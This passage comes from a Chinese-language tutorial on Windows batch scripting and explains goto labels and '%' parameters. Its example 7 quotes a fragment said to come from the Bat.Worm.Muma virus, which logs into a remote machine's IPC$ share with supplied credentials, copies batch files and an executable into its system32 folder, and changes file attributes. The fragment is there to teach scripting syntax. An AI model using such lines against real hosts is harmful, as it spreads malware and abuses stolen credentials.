5、:和goto
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都
会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部
分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时
就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难
看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的
关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。
goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这
一标签的内容却定义为退出。如:
……
goto end
……
:end
这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。
6、%
这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情
况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少
地方用到它?),少了它批处理的功能就减少了51%了。看看例七:
net use \%1ipc$ %3 /u:"%2"
copy 11.BAT \%1admin$system32 /y
copy 13.BAT \%1admin$system32 /y
copy ipc2.BAT \%1admin$system32 /y
copy NWZI.EXE \%1admin$system32 /y
attrib \%1admin$system3210.bat -r -h -s
以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表p
assword。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则
执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不
可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,
脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2
%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和passw
ord都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不
同的目的,是不是更灵活?)。
关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过
程,需要下点狠工夫!